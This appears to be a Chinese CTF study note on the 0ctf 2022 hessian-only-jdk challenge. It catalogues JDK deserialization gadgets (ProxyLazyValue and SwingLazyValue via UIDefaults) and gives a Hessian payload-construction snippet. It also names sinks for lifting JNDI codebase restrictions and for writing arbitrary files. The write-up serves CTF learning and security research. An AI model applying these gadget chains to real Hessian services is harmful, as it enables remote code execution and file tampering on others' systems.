前言
学习!0ctf2022 hessian-only-jdk相关危险操作点。
SwingLazyValue
好像都要用到这个类,看看这是个什么东西。
一眼就能看到这个神奇函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public Object createValue(UIDefaults var1) { try { ReflectUtil.checkPackageAccess(this.className); Class var2 = Class.forName(this.className, true, (ClassLoader)null); Class[] var3; if (this.methodName != null) { var3 = this.getClassArray(this.args); Method var6 = var2.getMethod(this.methodName, var3); this.makeAccessible(var6); return var6.invoke(var2, this.args); } else { var3 = this.getClassArray(this.args); Constructor var4 = var2.getConstructor(var3); this.makeAccessible(var4); return var4.newInstance(this.args); } } catch (Exception var5) { return null; } }
|
输入参数竟然毫无用处,createValue函数给出了两个选择:
值得注意的一点是在通过Class.forName加载类时:
1
| Class var2 = Class.forName(this.className, true, (ClassLoader)null);
|
没有传入classloader,那么使用的应该是BootstrapClassLoader,而它只能加载rt.jar里面的类。
ProxyLazyValue
SwingLazyValue继承自LazyValue接口,看看这个接口下的其他类,会发现ProxyLazyValue,其createValue函数也有类似的操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| Class<?> c; Object cl;
if (table == null || !((cl = table.get("ClassLoader")) instanceof ClassLoader)) { cl = Thread.currentThread(). getContextClassLoader(); if (cl == null) { cl = ClassLoader.getSystemClassLoader(); } } ReflectUtil.checkPackageAccess(className); c = Class.forName(className, true, (ClassLoader)cl); SwingUtilities2.checkAccess(c.getModifiers()); if (methodName != null) { Class[] types = getClassArray(args); Method m = c.getMethod(methodName, types); return MethodUtil.invoke(m, c, args); } else { Class[] types = getClassArray(args); Constructor constructor = c.getConstructor(types); SwingUtilities2.checkAccess(constructor.getModifiers()); return constructor.newInstance(args); }
|
可以看到,这里的同样可以调用静态函数和构造函数,不同的是这里加载类时的classloader不是null。
LazyValue调用链
UIDefaults类的getFromHashtable函数可以,UIDefaults虽然是Map类,但是其存在public的无参构造函数,并且本身是个public类,所以不会被hessian吃掉。
再往上是get函数,所以找一个Map.get就行了,比如HashTable的equals函数就可以。
简单构造一个HashMap包含两个UIDefaults就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Object proxyLazyValue = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue"); Utils.setField(proxyLazyValue, "className", "java.lang.Runtime"); Utils.setField(proxyLazyValue, "methodName", "getRuntime"); Utils.setField(proxyLazyValue, "args", new Object[]{});
UIDefaults map1 = new UIDefaults(); map1.put(1, proxyLazyValue); UIDefaults map2 = new UIDefaults(); map2.put(1, proxyLazyValue); HashMap bigMap = new HashMap(); bigMap.put(1, 1); bigMap.put(2, 2); Object[] table = (Object[])Utils.getFieldValue(bigMap, "table"); Utils.setField(table[1], "key", map1); Utils.setField(table[2], "key", map2);
unserialize(serialize(bigMap));
|
根据参考文章,也可以走java.awt.datatransfer.MimeTypeParameterList进来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| StringBuilder buffer = new StringBuilder(parameters.size() * 16);
Enumeration<String> keys = parameters.keys(); while(keys.hasMoreElements()) { buffer.append("; ");
String key = keys.nextElement(); buffer.append(key); buffer.append('='); buffer.append(quote(parameters.get(key))); }
return buffer.toString();
|
最后用XString连上这里的toString就好了。
sun.tools.jar.Main
获得静态函数调用最后就是就要找地方完成利用了,sun.tools.jar.Main.main:
1 2 3 4
| public static void main(String[] var0) { Main var1 = new Main(System.out, System.err, "jar"); System.exit(var1.run(var0) ? 0 : 1); }
|
Main.run似乎可以写入jar文件:
1 2 3 4 5 6 7 8 9 10
| Packer var11 = Pack200.newPacker(); SortedMap var12 = var11.properties(); var12.put("pack.effort", "1"); var8 = new JarFile(var5.getCanonicalPath()); var9 = this.createTemporaryFile(var7, ".pack"); var4 = new FileOutputStream(var9); var11.pack(var8, var4); var10 = new JarOutputStream(var6); Unpacker var13 = Pack200.newUnpacker(); var13.unpack(var9, var10);
|
但是内容不可控。
其他代码块里,有文件写入、文件解压的功能:
1 2 3 4 5 6 7
| var47 = this.fname == null ? new FileInputStream(FileDescriptor.in) : new FileInputStream(this.fname);
try { this.extract((InputStream)(new BufferedInputStream(var47)), this.files); } finally { var47.close(); }
|
但是源是另一个文件,所以这个函数使用条件比较苛刻。
com.sun.org.apache.xalan.internal.xslt._main
看起来可以跟TemplatesImpl联动:
1 2 3 4
| Source source = stf.getAssociatedStylesheet(new StreamSource(inFileName), media, null, null);
if (null != source) stylesheet = tfactory.newTemplates(source);
|
但是输入也是文件。
System.setProperty
可以修改属性:
1 2 3 4 5 6 7 8 9 10
| public static String setProperty(String key, String value) { checkKey(key); SecurityManager sm = getSecurityManager(); if (sm != null) { sm.checkPermission(new PropertyPermission(key, SecurityConstants.PROPERTY_WRITE_ACTION)); }
return (String) props.setProperty(key, value); }
|
比如高版本限制JNDI注入的就是com.sun.jndi.rmi.object.trustURLCodebase、java.rmi.server.useCodebaseOnly等系统属性,修改这些属性可以加载远程对象。
System.setProperty + InitialContext.doLookup
可以触发JNDI注入加载远程对象。
writeBytesToFilename静态函数:
1 2 3 4 5 6 7 8 9 10 11
| public static void writeBytesToFilename(String filename, byte[] bytes) { if (filename != null && bytes != null) { try (OutputStream outputStream = Files.newOutputStream(Paths.get(filename))) { outputStream.write(bytes); } catch (IOException ex) { LOG.debug(ex.getMessage(), ex); } } else { LOG.debug("writeBytesToFilename got null byte[] pointed"); } }
|
可以完全控制内容地写入一个文件,简直无敌。
参考